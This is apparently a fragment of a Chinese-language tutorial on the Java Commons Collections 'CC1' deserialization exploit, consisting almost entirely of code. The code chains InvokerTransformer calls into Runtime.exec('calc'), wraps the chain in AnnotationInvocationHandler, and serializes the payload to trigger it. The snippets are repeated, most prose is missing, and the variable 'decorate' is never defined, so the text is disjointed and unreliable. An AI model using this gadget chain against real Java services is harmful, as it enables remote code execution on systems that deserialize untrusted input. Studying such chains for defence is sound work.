Class c = Runtime.class; Method m = c.getDeclaredMethod("getRuntime",null); m.setAccessible(true); Runtime o = (Runtime) m.invoke(null,null); o.exec("calc");
然后我们使用InvokerTransformer的transform方法
1 2 3
Method invokerTransformer = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(c); Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(invokerTransformer); new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
Transformer[] t = new Transformer[]{ new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedtransformer = new ChainedTransformer(t); chainedtransformer.transform(c);
Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class,decorate);
Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) };
public class CC1 { public static void main(String[] args) throws Exception { Class c = Runtime.class;
// Method invokerTransformer = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(c); // Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(invokerTransformer); // new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedtransformer = new ChainedTransformer(t);
Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class,decorate);
// Method m = c.getDeclaredMethod("getRuntime",null); // m.setAccessible(true); // Runtime o = (Runtime) m.invoke(null,null); // o.exec("calc");
serialize(o); unserialize("ser.bin");
}
public static void serialize(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object oic = ois.readObject(); return oic; }